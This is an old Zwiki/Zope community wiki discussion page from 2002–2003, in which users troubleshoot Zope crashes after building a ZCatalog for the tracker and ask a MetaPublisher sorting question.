I updated the pages ZwikiFeatures? and WikiMail a bit. I think ZwikiFeatures? might be included in the ZwikiTrail? and in 0.10.

-- PieterB


2002/08/30 17:03 GMT (via web):
Hi,

I have been following the instructions in HowToInstallAZwikiCatalog with a view to using the tracker, but after building the catalog as described, RecentChanges? no longer works (I get a "Document contains no data" warning and a python core file appears in the Zope directory). The tracker page also does not work: there is nothing between the header and the footer. After deleting the Zcatalog, RecentChanges? works again, but obviously using the tracker needs the catalog.

I am using ZWiki version 0.10.0rc1 with Zope 2.5.1 and python 2.1.3 on Tru64 Unix version 5.0 . Does anyone have any ideas about what might be going wrong, or what I need to look at to investigate this? Nothing appears in var/Z2.log.

Thanks, Peter.


Simon, 2002/08/30 21:10 GMT (via web):
I am up to my eyes with a client deadline this week.. if I can I will put out another prerelease with minor doc & bugfixes. If not, rc1 will be it.


Simon, 2002/08/30 21:14 GMT (via web):
Peter - enable the STUPID_LOG_FILE (debug logfile). You might see Aieee! error code 10 or 11 as zope dies. I am getting these a lot with the same zope/python versions on freebsd. There is a known python/zope issue like this which these versions are supposed to resolve.. another possibility seems to be limited stack space in your python build.

... --2003/04/27 09:32 GMT
Hello,, i,am user zope with metapublisher, how can i sort my entries (abc)..?!

please mail me..(boeckle_martin@hotmail.com)

greez martin